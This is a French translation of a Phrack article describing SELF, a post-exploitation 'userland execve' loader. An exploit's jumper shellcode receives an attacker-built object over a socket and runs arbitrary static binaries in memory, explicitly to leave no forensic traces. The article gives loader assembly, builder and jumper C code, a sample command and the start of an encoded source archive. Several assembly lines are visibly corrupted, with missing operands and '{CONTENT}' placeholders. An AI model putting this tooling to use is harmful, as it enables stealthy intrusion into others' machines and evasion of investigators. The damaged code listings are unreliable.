==Phrack Inc.==

              Volume 0x0b, Issue 0x3f, Phile #0x0b of 0x14

|=----------------=[ Advanced Antiforensics : SELF  ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ Pluf & Ripe ]=------------------------------=|
|=-----------------------[ www.7a69ezine.org ]=--------------------------=|
|=--------------=[ Traduit par TboWan pour arsouyes.org  ]=--------------=|
|=-----------------------------------------------------------------------=|



 1 - Introduction
 2 - Userland Execve
 3 - Shellcode ELF loader
 4 - Conception et implémentation
   4.1 - Le lxobject
     4.1.1 - Binaire ELF statique
     4.1.2 - Contexte de pile
     4.1.3 - Shellcode Loader
   4.2 - L builder
   4.3 - Le jumper
 5 - Multi-exécutions
   5.1 - Gits
 6 - Conclusions
 7 - Remerciements
 8 - Références
 A - Systèmes testés
 B - Code source

---[ 1 - Introduction

Les techniques d'exploitation de services distants ont fait des progrès
conséquents. Dans le même temps, l'étendue des shellcode s'est agranée et
incorpore de nouvelle et complexes techniques d'anti-détection comme des
fonctionnalités polymorphiques.

En dépit de tous ces avantages donnés à l'attaquant, un appel système à
execve est toujours nécessaire ; ce qui conduit à l'apparition des
problèmes suivants :

 - L'accès à l'appelle système execve peut être refusé si l'hôte utilise
   certaines sortes de systèmes de protection modernes.

 - L'appel à execve nécessite que le fichier à exécuter soit sur le disque
   dur. En conséquences, si "/bin/shell" n'existe pas, ce qui est souvent
   le cas dans les envoronnement chrootés, le shellcode ne sera pas
   exécuté proprement.

 - L'hôte pourrait ne pas les outils dont l'intru a besoin, nécessitant de
   devoir les uploader, ce qui peut laisser des trades de l'intrusion sur
   le disque.

La nécessité d'un shellcode qui les résoud est donc apparue. La solution
apparait dans le "userland exec" [NDT : exécution en mode utilisateur].

---[ 2 - Userland Execve

La procédure qui permet une exécution locale d'un programme sans
l'utilisation de l'appel système execve est appellée "userland exec" ou
"userland execve". C'est à la base un méchanisme qui simule correctement
et de façon ordonnée la plus part des actions que le noyau effectue pour
charger un exécutable en mémoire et de démarrer son exécution. Elle peut
être résumée dans les trois étapes suivantes :

 - Charger les sections requises du binaires en mémoire.
 - Initialisation du contexte de pile.
 - Sauter au point d'entrée (point de départ).

Le but du "userland exec" est de permettre le chargement du binaire en
évitant l'utilisation de l'appel système execve contenu dans le noyau,
résolvant le premier des problèmes sités ci-dessus. En même temps, puisque
c'est une implémentation spécifique, nous pouvons l'adapter à nos propres
besoins. Nous la modifierons pour que les fichiers ELF ne soit pas lu à
partir du disque dur, mais à partir d'un autre support, comme les sockets.
Avec cette procedure, les deux autres problèmes sités plus haut sont
résolut parce que le fichier "/bin/sh" n'a plus besoin d'être visible par
le processus exploité puisqu'il est lu à partir du réseau. D'un autre
côté, les outils qui ne sont pas sur l'hôte ciblé peuvent aussi être
exécutés.

La première implémentation publique d'un execve en mode utilisateur a été
faite par "the grugq" [1], son code et sa fonctionnalité sont parfaites,
mais il a quelques désavantages :

 - Ne fonctionne pas pour les attaques réelles.
 - Le code est trop gros et trop difficile à porter.

À cause de ces problèmes, il a été décidé de mettre tous nos efforts dans
le développement d'un autre "userland execve" muni des mêmes
fonctionnalités mais avec un code plus simple et orienté vers
l'utilisation d'exploits. Le résultat final a été le "shellcode ELF
loader".

---[ 3 - Shellcode ELF loader

Le shellcode ELF loader ou SELF est une technique de post-exploitation
nouvelle et sophistiquée basée sur le userland execve. Il permet le
chargement et l'exécution d'un fichier binaire ELF sur une machine
distante sans le stocker sur le disque ou modifier le système de fichier
original. Le but du shellcode ELF loader est de fournir un système moderne
et efficace de camouflage post-exploitation pour les exploits combinés à
une facilité d'utilisation. C'est à dire qu'un intru peut exécuter autant
d'application qu'il le désire.

---[ 4 - Conception et implémentation

Obtenir une conception efficace n'a pas été une tâche facile, différentes
options ont été considérées et la pluspart d'entre elles ont été jetées. À
la fin, la conception sélectionnée a été celle la plus créative permettant
le plus de flexibilité, de portabilité et une très grande facilité
d'emploi.

Le résultat final est un mix de multiples pièces, indépendantes les unes
des autres qui réalisent leurs propres fonctions et fonctionnent ensemble
en harmonie. Il y a trois pièces : le lxobject, le builder [NDT :
constructeur] et le jumper [NDT : lanceur]. Ces éléments rendront la tâche
d'exécuter un binaire dasn une machine distante assez facile. Le lxobject
est une sorte spéciale d'objet qui contient tous les éléments requis pour
changer un exécutable original d'un processus hôte par un nouveau. Le
builder et le jumper sont des morceaux de codes qui construisent le
lxobject, le transferent à partir de la machine locale (de l'attaquant)
vers la machine distante (l'attaquée) et l'active.

Comme étape précédante avant la description détaillée des détails internes
de cette technique, il est d'abord besoin de comprendre comment, quand et
où elle doit être utilisée. Voici une courte synthèse de son utilisation
commune :

 - 1er round, exploitation d'un service vulnérable :

 Dans ce premier round, nous avons une machine X avec un service
 vulnérable Y. Nous voulons exploiter ce processus juteux et donc, nous
 utilisons l'exploit correspondant en utilisant comme charge utile (le
 shellcode) le jumper. Une fois exploité, le jumper est exécuté et nous
 sommes prèt pour le round suivant.

 - 2ème round, exécution d'un binaire :

 C'est ici que prend place le shellcode ELF loader ; un binaire ELF est
 sélectionné et le lxobject est construit. Ensuite, nous l'envoyons au
 jumper pour qu'il l'active. Le résultat est le chargement et l'exécution
 du binaire sur une machine distante. Nous avons gagné la bataille !!

---[ 4.1 - Le lxobject

Mais qu'est-ce que ça peut bien être ? Un lxobject est un objet
auto-chargable et auto-exécutable, c'est à dire un objet conçu
spécialement pour remplacer complètement le processus hôte original sur
lequel il se trouve par un fichier binaire ELF qui contient et initialise
son exécution. Chaque lxobject est construit dans la machine de l'intru et
est envoyé à la machine attaquée où le jumper le recoit et l'active.

En conclusion, il peut être comparé à un missile qui est envoyé d'un
endroit vers le lieu d'impact, dont la charge explosive est un exécutable.
Ce missile est construit de trois parties assemblées : un binaire statique
ELF, une pile pré-construite et un shellcode chargeur.

---[ 4.1.1 - Binaire ELF statique

C'est la première partie d'un lxobject, le binaire ELF qui doit être
chargé et exécuté sur l'hôte distant. C'est juste un fichier exécutable
commun, compilé statiquement pour l'architecture et le système dans lequel
il sera exécuté.

Il a été décidé d'éviter l'utilisation d'un exécutable dynamique, parce
que ça ajouterait de la complexité qui n'est pas nécessaire dans le code
du chargement, augmentant le nombre d'erreurs possible notablement.

---[ 4.1.2 - Contexte de pile

C'est la deuxième pièce d'un lxobject ; le contexte de pile qui va être
nécessaire au binaire. Chaque processus a un segment mémoire associé
appelé la pile où les fonctions enregistrent leurs variables locales.
Pendant le chargement du processus, le noyau remplis cette section avec
une série de données initiales requises pour son exécution prochaine. Nous
appellons cela "le contexte initial de la pile".

Pour faciliter la portabilité et spécifiquement le processus de
chargement, un contexte de pile pré-construit a été adopté. C'est à dire,
il est généré dasn notre machine et est assemblé avec le fichier binaire
ELF. La seule connaissance requise est le format et d'ajouter les données
dans le bon ordre. Pour une vaste majorité des systèmes UNIX, ça ressemble
à ça :


      .----------------.
 .--> |   alignement   |             
 |    |================|
 |    |     Argc       |            - Arguments (nombre)
 |    |----------------|             
 |    |     Argv[]     | ---.       - Arguments (vecteur)
 |    |----------------|    |
 |    |     Envp[]     | ---|---.   - Variables d'environnement (vecteur)
 |    |----------------|    |   |      
 |    |  argv strings  | <--'   |   
 |    |----------------|        |   - données d'Argv envp (chaines)
 |    |  envp strings  | <------' 
 |    |================|
 '--- |   alignement   | ------->   Alignements supérieur et inférieur
      '----------------'

C'est le contexte de pile, le plus réduit et fonctionnel pour nous. Comme
il peut être observé, aucun vecteur auxilliaire n'a été ajouté car en
travaillant avec des exécutables statiques, nous évitons de nous tracassez
à propos de la liaison. Il n'y a aussi aucune restriction sur le nombre
d'arguments de variables d'environnement ; une partie d'entre eux peuvent
augmenter la taile du contexte mais sans plus.

Puisque le contexte est construit sur la machine de l'attaquant, qui sera
souvent différente de l'attaquée ; une connaissance de l'espace d'adresage
dans lequel la pile est placée sera requis. C'est un processus qui est
fait automatiquement et ne suppose aucun problème.

­--[ 4.1.3 - Shellcode Loader

C'est la troisième et aussi la plus importante part d'un lxobject. C'est
un shellcode qui doit contenir le processus de lancement et d'exécution
d'un fichier binaire. C'est en fait une simple mais puissante
implémentation de execve() en mode utilisateur.

Le processus de chargement effectue les étapes suivantes pour être
completer sans problème (x86 32 bits) :

 * pré-chargement : tout d'abord, le jumper doit effectuer quelques
   opérations avant de faire quoi que ce soit d'autre. Il récupère
   l'adresse mémoire où le lxobject vient d'être enregistré et l'ajoute au
   sommet de pile, ensuite, il trouve le code du chargeur et y saute. Le
   chargement a commencé

   __asm__(
           "push %0n"
           "jmp *%1"
           :
           : "c"(lxobject),"b"(*loader)
           );

 * étape 1 du chargement : scanne la table des en-têtes du programme et
   commence à charger chaque segment PT_LOAD. Le contexte de pile a sa
   propre en-tête, PT_STACK, donc, quand ce type de segment est trouvé, il
   est traité différement du reste (étape 2)

   .loader_next_phdr:
        // Vérification du type d'en-tête (eax): PT_LOAD ou PT_STACK
        movl    (%edx),%eax

        // Si le type d'en-tête est PT_LOAD, sauter à .loader_phdr_load
        // et charge le segment référencé par cette en-tête
        cmpl    $PT_LOAD,%eax
        je      .loader_phdr_load

        // Si le type d'en-tête est PT_STACK, sauter à .loader_phdr_stack
        // et charger le nouveau segment de pile
        cmpl    $PT_STACK,%eax
        je      .loader_phdr_stack

        // Si le type est inconnu, sauter à l'en-tête suivante
        addl    $PHENTSIZE,%edx
        jmp     .loader_next_phdr

    Pour chaque segment PT_LOAD (code/donnée) faire ce qui suit :

  * étape 1.1 de chargement : décharge le vieux segment, une page à la
    fois, pour être sur qu'il reste assez de place pour y mettre le
    nouveau :

        movl    PHDR_VADDR(%edx),%edi
        movl    PHDR_MEMSZ(%edx),%esi
        subl    $PG_SIZE,%esi
        movl    {CONTENT},%ecx
    .loader_unmap_page:
        pushl   $PG_SIZE
        movl    %edi,%ebx
        andl    {CONTENT}xfffff000,%ebx
        addl    %ecx,%ebx
        pushl   %ebx
        pushl   
        movl    $SYS_munmap,%eax
        call    do_syscall
        addl    ,%esp
        addl    $PG_SIZE,%ecx
        cmpl    %ecx,%esi
        jge     .loader_unmap_page

  * étape 1.2 du chargement : charge la nouvelle région mémoire.

        pushl   {CONTENT}
        pushl   {CONTENT}
        pushl   $-1
        pushl   $MAPS
        pushl   
        movl    PHDR_MEMSZ(%edx),%esi
        pushl   %esi
        movl    %edi,%esi
        andl    {CONTENT}xffff000,%esi
        pushl   %esi
        pushl   
        movl    $SYS_mmap,%eax
        call    do_syscall
        addl    ,%esp
  
  * étape 1.3 du chargement : copie le segment à cet endroit à partir du
    lxobject :

        movl    PHDR_FILESZ(%edx),%ecx
        movl    PHDR_OFFSET(%edx),%esi
        addl    %ebp,%esi
        repz    movsb

  * étape 1.4 du chargement : continue avec la prochaine en-tête :

        addl    $PHENTSIZE,%edx
        jmp     .loader_next_phdr

 * étape 2 du chargement : Une fois qu'à la fois le segment de code et de
   donnée sont chargés correctement, il est temps d'installer la nouvelle
   pile :

   .loader_phdr_stack:
        movl    PHDR_OFFSET(%edx),%esi
        addl    %ebp,%esi
        movl    PHDR_VADDR(%edx),%edi
        movl    PHDR_MEMSZ(%edx),%ecx
        repz    movsb

 * étape 3 du chargement : pour finir, quelques registres sont nettoyés et
   ensuite, le loader saute vers le point d'entrée du programme ou le
   _init().

   .loader_entry_point:
        movl    PHDR_ALIGN(%edx),%esp
        movl    EHDR_ENTRY(%ebp),%eax
        xorl    %ebx,%ebx
        xorl    %ecx,%ecx
        xorl    %edx,%edx
        xorl    %esi,%esi
        xorl    %edi,%edi
        jmp     *%eax

 * post-chargement : l'exécution a commencé.

Comme on peut le voir, le loader n'effectue aucune action pour construire
le contexte de pile, il est construit dans le builder. De cette façon, un
contexte pré-conçu est disponible et doit simplement être copié au bon
espace d'adressage dans le processus.

Malgré qu'il faille coder un loader différent pour chaque architecture,
les opérations sont claires et concrètes. Si c'est possible, des loader
hubrides capables de fonctionner sur la même architecture, mais avec des
méthodes d'appels systèmes différents des systèmes UNIX peuvent être
conçus. Le loader que nous avons dévelopé pour notre implémentation est un
code hybride capable de fonctionner sur les systèmes Linux et BSD sur les
machines x86/32bits.

---[ 4.2 - L builder

Il a la fonction d'assembler les composants d'un lxobject et ensuite de
l'envoyer à la machine distante. Il fonctionne avec une conception pour
une simple ligne de commande et son format est comme suit :

 ./builder <host> <port> <exec> <argv> <envp>

où :

  host, port = l'adresse de la machine attaquée et le port où le jumper
  est en train de fonctionner et d'attendre

  exec = le fichier binaire exécutable qu'on veut exécuter

  argv, envp = chaine d'arguments et chaine de variables d'environnement,
  nécessaires à l'exécution du binaire

Par exemple, si nous voulons faire un scan de port à partir de la machine
attaquée, nous allons exécuter le binaire nmap comme suit :

 ./builder 172.26.0.1 2002 nmap-static "-P0;-p;23;172.26.1-30" "PATH=/bin"

En gros, les opérations d'assemblage effectuées sont les suivantes :

 * Alouer asser de mémoire pour pouvoir stocker le fichier binaire
   exécutable, le shellcode du loader et le contexte de pile initial.

      elf_new = (void*)malloc(elf_new_size);

 * Insérer l'exécutable dans la zone mémoire précédement allouée et
   ensuite, nettoyer les champs qui décrivent la table d'en-tête de
   section parce qu'elle ne seront pas utile pour nous puisque nous
   travaillons avec un fichier statique. Aussi, la table d'en-têtes de
   section pourrait de toute façon être retirée.

      ehdr_new->e_shentsize = 0;
      ehdr_new->e_shoff = 0;
      ehdr_new->e_shnum = 0;
      ehdr_new->e_shstrndx = 0;

 * construire le contexte de la pile. Ça nécessite deux chaines, la
   première contient les arguments, la seconde, les variables
   d'environnement. Chaque élément est séparé par un délimitateur, par
   exemple :

      <argv> =  "arg1;arg2;arg3;-h"
      <envp> =  "PATH=/bin;SHELL=sh"

   Une fois que le contexte est construit, une nouvelle en-tête de
   programme est ajoutée à la table des en-têtes du programme. C'est une
   en-tête PT_STACK et contient toutes les informations nécessaire au
   shellcode loader pour permettre d'installer la nouvelle pile.

 * le shellcode ELF loader est introduit et son offset est sauvegardé dans
   le champ e_ident de l'en-tête elf.

      memcpy(elf_new + elf_new_size - PG_SIZE + LOADER_CODESZ,
             loader, LOADER_CODESZ);
      ldr_ptr = (unsigned long *)&ehdr_new->e_ident[9];
      *ldr_ptr = elf_new_size - PG_SIZE + LOADER_CODESZ;

 * le lxobject est près, maintenant, il est envoyé à l'hôte et sur le port
   spécifiés.

      connect(sfd, (struct sockaddr *)&srv, sizeof(struct sockaddr)
      write(sfd, elf_new, elf_new_size);

Un lxobject fini et assemblé correctement, près à être envoyé ressemble à
ce qui suit :

       [ auto-chargeable et auto-exécutable Objet ]
    .------------------------------------------------
    |
    |     [Fichier exécutable stacique(1)]
    |    .--------------------------------.
    |    |                                |
    |    |    .----------------------.    |
    |    |    | En-tête ELF )--------|----|--.
    |    |    |----------------------|    |  | Shellcode Elf loader (3)
    |    |    | Table d'en-tête du   |    |  | hdr->e_ident[9]
    |    |    | programme            |    |  |
    |    |    |                      |    |  |
    |    |    | + PT_LOAD0           |    |  |
    |    |    | + PT_LOAD1           |    |  |
    |    |    |     ...              |    |  |
    |    |    |     ...              |    |  |
    |    |    | + PT_STACK )---------|----|--|--.
    |    |    |                      |    |  |  | Contexte de pile (2)
    |    |    |----------------------|    |  |  |
    |    |    | Sections             |    |  |  |
    |    |    | (code/données)       |    |  |  |
    |    '--> |----------------------| <--'  |  |
    |    .--> |######################| <-----'  |
    |    |    |## SHELLCODE LOADER ##|          |
    |  P |    |######################|          |
    |  A |    |                      |          |
    |  G |    |       .......        |          |
    |  E |    |       .......        |          |
    |    |    |                      |          |
    |    |    |######################| <--------'
    |    |    |## CONTEXTE DE PILE ##|
    |    |    |######################|
    |    '--> '----------------------'
    |
    '-----------------

---[ 4.3 - Le jumper

C'est le shellcode qui doit être utilisé par un exploit pendant le
processus d'exploitation d'un service vulnérable. Son but est d'activer le
lxobject qui arrive et pour permettre de l'effectuer, au moins les
opérations suivantes doivent être faites :

 - ouvrir une socket et attendre que le lxobject arrive
 - le stocker n'importe où en mémoire
 - l'activer en sautant dans le loader

Voici les besoins minimaux mais il est important de garder en mémoire que
le jumper est un simple shellcode et que donc, toute autre fonctionnalité
peut être ajoutée juste avatn : briser un chroot, gagner des privilèges,
etc.

1) comment récupérer me lxobject ?

 C'est facilement faisable, des techniques déjà connues, comme se lier à
 un port et attendre pour une connection, ou chercher dans le table FD du
 processus, celle qui appartiennent à des socket, peuvent être appliquées.
 De plus, des algorithmes de chiffrement peuvent être ajoutés, mais ça
 rendrait le shellcode énorme et difficile à utiliser.

2) et où le stocker ?

 Il y a trois possibilités :

 a) le stocker dans le tas. Nous avons juste besoin de trouver la
    localisation actuelle de la fin du programme en utilisant brk(0).
    Cependant, cette méthode est dangereuse et inadéquate cat le lxobject
    pourrait être déchargé ou même entièrement écrasé pendant la phase de
    chargement.

 b) stocker dans la pile du processus. À la condition qu'il y ait assez de
    place et que nous sachions où la pile commence et finit, cette méthode
    peut être utilisée mais il peut être possible que la pile ne soit pas
    exécutable, et alors, elle n'est plus applicable.

 c) l'enregistrer dans une nouvelle région mémoire chargée en utilisant
    l'appel système mmap(). C'est la meilleure façon et celle que nous
    avons utilisé dans notre code.

Du à la nature d'un jumper, son codage peut être personnalisé et adapté à
différent contextes. Voici un exemple de jumper générique écrit en C :

    lxobject = (unsigned char*)mmap(0, LXOBJECT_SIZE,
         PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, -1, 0);

    addr.sin_family = AF_INET;
    addr.sin_port = htons(atoi(argv[1]));
    addr.sin_addr.s_addr = 0;

    sfd = socket(AF_INET, SOCK_STREAM, 0));
    bind(sfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
    listen(sfd, 10);
    nsfd = accept(sfd, NULL, NULL));

    for (i = 0 ; i < 255 ; i++) {
        if (recv(i, tmp, 4, MSG_PEEK) == 4) {
                if (!strncmp(&tmp[1], "ELF", 3)) break;
        }
    }

    recv(i, lxobject, MAX_OBJECT_SIZE, MSG_WAITALL);

    loader = (unsigned long *)&lxobject[9];
    *loader += (unsigned long)lxobject;

    __asm__(
           "push %0n"
           "jmp *%1"
           :
           : "c"(lxobject),"b"(*loader)
           );
        
---[ 5 - Multi-exécutions

Le code inclu dans cet article est juste une implémentation générique d'un
shellcode ELF loader qui permet l'exécution de binaire, un à la fois. Si
nous voulons exécuter un binaire un nombre indéfini de fois (pour parser
plus d'arguments, tester de nouvelles fonctionnalités, etc) il va être
nécessaire d'envoyer un nouvel lxobject à chaque fois. Bien qu'il aie
évidement des désavantages, c'est suffisant dans la pluspart des
situations. Mais qu'arrive-t-il si nous voulons en fait exécuter notre
binaire un grand nombre de fois de l'autre côté, c'est à dire, sur la
machine distance, sans construire le lxobject ?

Pour résoudre ce problème, nous avons développé une nouvelle technique
appellée "multi-exécution". La multi-exécution est une implémentation
dérivée plus avancée. Sa caractéristique principale est que la
construction d'un lxobject est toujours faite sur la machine distante, un
binaire permettant une infinité d'exécutions. Quelque chose comme
travailler avec un shell distant. Un exemple d'outil utilisant un
environement de multi-exécutions est le projet gits ou "ghost in the
system" [NDT : un fantôme dans le système].

­--[ 5.1 - Gits

GITS est un environnement de multi-exécutions conçu pour fonctionner sur
une machine distante attaquée et pour limiter la quantité d'indice pour
l'investigation. Il devrait être vu comme une preuve de concept, une
extension avancée avec beaucoup de fonctionnalités. Il comprend un
programme de chargement et un shell, qui sont les parties principales. Le
shell vous permet d'avoir la possibilité de récupérer autant de binaires
que vous voulez et de les exécuter autant de fois que vous voulez (le
processus de la reconstrution du contexte de pile et de la modification du
binaire est faite avec des techniques avancées). On y a aussi ajouté des
commandes intégrées, du contrôle de programme, de la redirection de flots,
manipulation de fichiers distants, etc.

---[ 6 - Conclusions

Les techniques d'investigations sont toujours plus sophistiquées et
complètes chaque jours, où il n'y avait aucune trace de laissées,
maintenant, il y a une emprunte, où il n'y avait qu'un indice, maintenant,
il y en a des centaines. Une bataille sans fin entre ceux qui ne veulent
pas être détectés et ceux qui veulent les détecter. Utiliser la mémoire
sans toucher au disques est une bonne habitude pour éviter d'être détecté.
Le shellcode ELF loader développe cette post-exploitations sobrement et
avec élégance.

---[ 7 - Remerciements

7a69ezine crew & redbull.

---[ 8 - Références

 [1] The Design and Implementation of ul_exec - the grugq
     http://securityfocus.com/archive/1/348638/
     2003-12-29/2004-01-04/0

 [2] Remote Exec - the grugq
     http://www.phrack.org/show.php?p=62&a=8

 [3] Ghost In The System Project
     http://www.7a69ezine.org/project/gits

---[ A - Systèmes testés

La table suivante résume les systèmes sur lesquelles nous
avons testé tout ce bazard [NDT : "fucking shit"] :
	
                            /----------v----------\
                            |   x86    |  amd64   |
               /------------+----------+----------<
               | Linux 2.4  |    ok    |    ok    |
               >------------+----------+----------<
               | Linux 2.6  |    ok    |    ok    |
               >------------+----------+----------<
               | FreeBSD    |    ok    | nontesté |
               >------------+----------+----------<
               | NetBSD     |    ok    | nontesté |
               \------------^----------^----------/

---[ B - Code source

begin 644 self.tgz
M'XL(`%)VS$(``^U]:W<;-[+@?&7_"HS&CDB9I/B0:%F*DU5LV=8=6]):\L2Y
MB0]/DVQ2;9/=3'=3CXSSD_8WW'/N+]MZ`8U^4`^_9G:O.B<6V0`*A4*A4%4H
M%&-O.E[_R]=]6O`\W-RDO_#D_]+G=JO3ZVQN;/:ZG;^TVJW-=N<O:O,KXT7/
M(D[<2*F_1&&87%7ONO+_1Y\8YW\4#K\F#]QT_KNMA]TVOF^W.QMW\_]-'C/_
M^*'O!<WDXHL/$R>XM[&Q9/XW.P\W'^;FO[O1[?U%M;XT(F7/__#Y=U3QV0T2
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